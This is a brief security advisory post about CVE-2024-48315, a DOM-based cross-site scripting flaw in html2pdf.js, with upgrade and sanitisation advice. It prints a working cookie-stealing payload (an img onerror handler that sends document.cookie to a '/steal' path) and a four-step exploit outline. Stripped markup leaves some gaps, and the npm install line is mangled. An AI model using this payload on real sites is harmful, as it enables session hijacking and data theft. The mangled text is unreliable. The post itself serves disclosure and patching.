Listen to this Post
The vulnerability (CVE-2024-48315) in html2pdf.js is a DOM-based Cross-Site Scripting flaw. It occurs when the library’s `from()` method accepts a raw text string containing HTML as its source input. When a text source is provided instead of a direct DOM element reference, the library internally creates a temporary `
` element and sets its `innerHTML` property with the unsanitized user-supplied text. This HTML string is then appended to the live DOM for rendering prior to PDF conversion. Since no input sanitization or context-aware encoding is performed, any JavaScript payload within the HTML, such as an `![]()
` tag with a malicious `onerror` handler, is parsed and executed in the victim’s browser context. This allows an attacker to compromise the confidentiality and integrity of the user’s session within the affected web page.
dailycve form:
Platform: html2pdf.js
Version: < 0.14.0
Vulnerability: DOM-based XSS
Severity: High
date: December 2024
Prediction: Patched 2024-11-13
What Undercode Say:
npm list html2pdf.js
// Attack payload const malText = '<img src=x onerror="fetch(\'/steal?c=\'+document.cookie)">'; html2pdf().from(malText);
npm install [email protected]
How Exploit:
- Attacker crafts malicious HTML string with script payload.
2. Passes string to `html2pdf().from()`.
3. Library unsafely injects string into DOM.
4. Browser executes attacker’s JavaScript.
Protection from this CVE
Upgrade to version 0.14.0+. Implement strict input validation. Sanitize all user inputs with DOMPurify before library use.
Impact:
Session hijacking. Data theft. Unauthorized actions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
